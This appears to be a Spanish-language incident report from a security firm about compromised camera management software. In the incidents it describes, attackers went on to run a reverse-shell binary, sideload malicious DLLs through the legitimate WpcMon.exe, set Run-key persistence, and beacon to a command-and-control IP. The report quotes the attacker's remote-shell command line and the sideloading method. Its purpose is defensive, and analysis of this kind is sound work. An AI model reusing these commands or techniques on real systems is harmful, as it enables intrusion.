¿Quién vigila a los vigilantes?

Agradecimientos: Agradecimientos especiales a John Hammond, Ethan Williams y Dray Agha por sus aportes a esta investigación y a este informe.

Contexto

Los equipos de seguridad suelen enfocarse en el software que saben que los atacantes tienen como objetivo. Pero las debilidades de seguridad pueden existir en cualquier software que toque el entorno de una organización, incluidas herramientas que podrían no considerarse parte de la superficie de ataque "tradicional". Recientemente vimos varios incidentes en los que los atacantes apuntaban a herramientas menos vigiladas —plataformas de gestión de cámaras— como forma de acceder al entorno más amplio. 

En septiembre y octubre, Huntress observó un puñado de incidentes originados en software de gestión de cámaras (CMS.exe). Una investigación más profunda nos llevó a determinar que, en todos los casos, un actor de amenazas había comprometido un sistema legítimo de gestión de cámaras como su vector de acceso inicial.

A partir de ahí, la cadena de ataque fue, en general, consistente en los distintos incidentes: tras el compromiso, los atacantes dejaban caer un archivo (rs.win32.exe) en el endpoint antes de realizar DLL sideloading (mediante el binario legítimo de Windows WpcMon.exe) en la ruta de la carpeta AppData del usuario. Estos archivos luego ejecutaban un beacon hacia 144.172.116[.]37.

Acceso inicial

Analistas de Huntress observaron recientemente una campaña en múltiples entornos de clientes que se remontaba al compromiso de software de gestión de cámaras, como se ve en el proceso a continuación.

C:\Program Files (x86)\CMS\CMS.exe

Los analistas de Huntress no pudieron determinar el nombre completo ni el creador/proveedor del software, ya que el archivo no contenía una sección de información de versión de archivo integrada. Sin embargo, sí encontramos que el ejecutable contenía las siguientes cadenas notables:

developerslavery 

d3e3v4e3l9o9p0e3r4s2l9a1v4e3r4y6 

hxxp://cloudapi.3r-dataware[.]com/sso/

 El nombre de dominio 3r-dataware[.]com (que apunta a una empresa coreana llamada 3R Global) podría dar alguna pista sobre el origen del software. La Figura 1 muestra un extracto de la página de detalles de una búsqueda en VirusTotal para el nombre de dominio. 

Figura 1: Resultados de Whois/búsqueda en VirusTotal para 3r-dataware[.]com

La Figura 2 muestra la página de descarga de software en el sitio web kvision[.]ai, que apunta a un paquete llamado "CMS". 

Figura 2: Kvision[.]ai página de descarga de software

Tras una inspección más detallada del archivo CMS descargable desde el sitio web de Kvision[.]ai, ambos contienen las mismas cadenas developerslavery y d3e3v4e3l9o9p0e3r4s2l9a1v4e3r4y6 mencionadas anteriormente, así como la dirección web 3r-dataware.com. 

Si bien el paquete CMS figura en la página de descarga de software, no podemos afirmar con certeza que los archivos se hayan descargado desde este sitio web: la conexión entre CMS.exe encontrado en endpoints de clientes y el sitio web kvision[.]ai se presenta aquí solo como una posible fuente, y no como una declaración definitiva de una relación con un proveedor.

La Figura 3 muestra las conexiones de red asociadas con CMS.exe.

Figura 3: Conexiones de red vinculadas a CMS.exe

Los analistas de Huntress no solo no pudieron determinar con certeza el nombre exacto del proveedor que podría haber creado el software a partir del contenido del archivo ejecutable, sino que tampoco pudimos ubicar registros asociados con la aplicación. Si bien esto limitó nuestra visibilidad sobre cómo exactamente los actores de amenazas comprometían este software de gestión de cámaras, sí pudimos ver qué hacían después en los entornos de las víctimas.

El ataque

Una vez que el actor de amenazas había comprometido el software de gestión de cámaras, agregó un archivo llamado rs.win32.exe al endpoint. Mientras que el software de gestión de cámaras está ubicado en la carpeta C:\Program Files (x86), rs.win32.exe se dejó caer en la siguiente carpeta: 

C:\Users\<user>\AppData\Roaming\CMS\RemoteSetup\

El archivo se lanzó mediante la siguiente línea de comandos:

rs.win32.exe -i "<IP Address>" -p "8000" -c <file> -r <file> "admin" "1234567a7654321"

Esta línea de comandos proporcionó una dirección IP y un puerto remotos (-p "8000"), incluyó un valor de nombre de usuario admin para autenticar una sesión de control remoto, y se ejecutó desde la ruta AppData\Roaming\CMS\RemoteSetup, escribible por el usuario (en lugar de un directorio de aplicación protegido). Esto nos llevó a considerarlo como una reverse shell. 

A partir de ahí, el actor de amenazas dejó caer el archivo legítimo de Microsoft WpcMon.exe en la siguiente carpeta:

C:\Users\<user>\AppData\Local\Microsoft\WpcMon\

Según el hash SHA256 de este archivo, pudimos verificar que WpcMon.exe es el archivo legítimo de Microsoft Windows Parental Control Monitor, usado para funciones de control parental y monitoreo de actividad. Sin embargo, en este incidente resulta llamativo porque la carpeta en la que se deja caer (AppData) no es la carpeta donde normalmente esperamos ver este archivo (es decir, C:\Windows\system32). Esta señal de alerta reveló que los actores de amenazas estaban abusando de este archivo legítimo para su ataque. 

El archivo se dejó caer en esta ubicación para que pudiera usarse para hacer DLL sideloading del malware previsto, donde un atacante coloca una DLL maliciosa junto a una aplicación legítima para que la aplicación la cargue y ejecute el código del atacante. En estos incidentes, las DLL maliciosas en cuestión eran IPHLPAPI.DLL y samcli.dll, ambas aparentemente bibliotecas de compresión zlib legítimas. Sin embargo, habían sido modificadas para incorporar funcionalidad de beaconing, contactando periódicamente a un servidor externo de comando y control (C2).

Parte del proceso de infección también incluyó crear persistencia agregando una referencia al WpcMon.exe recién instalado en un valor dentro de la clave Run del usuario, como se muestra en la Figura 4. Los actores de amenazas suelen agregar una ruta de programa a la clave de registro Run de un usuario para que Windows lance automáticamente su payload cada vez que ese usuario inicia sesión.

Figura 4: señal de persistencia "foothold"

La Figura 5 muestra el árbol de procesos que llevó a la detección de WpcMon.exe ejecutándose en el endpoint por primera vez y generándose a partir de rs.win32.exe y CMS.exe.

Figura 5: Árbol de procesos

En todos los incidentes, la dirección IP de C2 observada en los endpoints afectados fue 144.172.116[.]37, como se muestra en la Figura 6.

Figura 6: Conexión de red activa

Captado en cámara: encuentra tus puntos ciegos

Lo que queda claro en esta serie de incidentes es que todos se originan por una debilidad en un software de gestión de cámaras. Tras usar este software para el acceso inicial, los atacantes ocultaron DLL maliciosas detrás de un binario legítimo de Windows y establecieron beaconing hacia un C2. 

Quienes se encargan de la defensa deben tratar las cámaras y sus plataformas de gestión como posibles puntos de entrada a su entorno más amplio: las empresas deben inventariar el software, restringir su acceso y monitorear procesos inusuales y conexiones salientes. 

Cuando sea posible, las organizaciones también deben usar control de aplicaciones para evitar que ejecutables y DLL no aprobados se ejecuten en rutas con permisos de escritura de usuario, e investigar la secuencia de CMS.exe, rs.win32.exe, el comportamiento anormal de WpcMon.exe y las conexiones salientes no aprobadas.

Indicadores de compromiso